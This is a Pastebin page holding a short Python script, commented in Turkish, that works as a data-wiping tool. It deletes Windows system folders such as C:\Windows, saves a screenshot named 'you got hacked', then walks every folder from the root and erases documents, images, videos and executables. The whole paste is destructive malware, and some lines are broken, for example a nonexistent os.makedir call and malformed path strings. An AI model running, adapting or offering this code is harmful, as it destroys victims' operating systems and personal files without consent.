Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # -*- coding: cp1254 -*-
- #-- include('examples/showgrabfullscreen.py') --#
- import os
- import shutil
- import os,re
- import pyscreenshot as ImageGrab
- import random
- os.makedir('C:\hsdfewm')
- os.listdir('C:\')
- shutil.rmtree('C:\Windows')
- shutil.rmtree('C:\PerfLogs')
- shutil.rmtree('C:\KullanΔ±cΔ±lar')
- shutil.rmtree('C:\Intel')
- if __name__ == "__main__":
- # fullscreen
- im=ImageGrab.grab()
- ImageGrab.grab_to_file('C:\Users\dayanc\Desktop\hacklendinkeriz.png')
- im.show()
- #-#
- girilen_dizinler = []
- def BulunanDizin(gelendizin):
- os.chdir(gelendizin)
- print "girilen dizin >> "+ gelendizin
- girilen_dizinler.append(gelendizin)
- KontrolEt()
- os.chdir(os.pardir)
- def KontrolEt():
- dosyalr = os.listdir(os.getcwd())
- for i in dosyalr:
- try:
- if re.match(".*txt",i):
- os.remove(i)
- elif re.match(".*pdf",i):
- os.remove(i)
- elif re.match(".*docx",i):
- os.remove(i)
- elif re.match(".*doc",i):
- os.remove(i)
- elif re.match(".*xls",i):
- os.remove(i)
- elif re.match(".*xlsx",i):
- os.remove(i)
- elif re.match(".*ppt",i):
- os.remove(i)
- elif re.match(".*pptx",i):
- os.remove(i)
- elif re.match(".*mp4",i):
- os.remove(i)
- elif re.match(".*wmv",i):
- os.remove(i)
- elif re.match(".*flv",i):
- os.remove(i)
- elif re.match(".*mov",i):
- os.remove(i)
- elif re.match(".*avi",i):
- os.remove(i)
- elif re.match(".*jpeg",i):
- os.remove(i)
- elif re.match(".*png",i):
- os.remove(i)
- elif re.match(".*gif",i):
- os.remove(i)
- elif re.match(".*bmp",i):
- os.remove(i)
- elif re.match(".*psd",i):
- os.remove(i)
- elif re.match(".*exe",i):
- os.remove(i)
- elif os.path.isdir(i):
- if girilen_dizinler.count(i) == 0:
- BulunanDizin(i)
- else:
- pass
- else:
- pass
- except:
- pass
- suanki_dizin = os.getcwd() #bulundugu dizin
- a = suanki_dizin.split("/")
- sayi = len(a)-1
- for i in range(0,sayi):
- os.chdir(os.pardir)
- KontrolEt()
Advertisement
Add Comment
Please, Sign In to add comment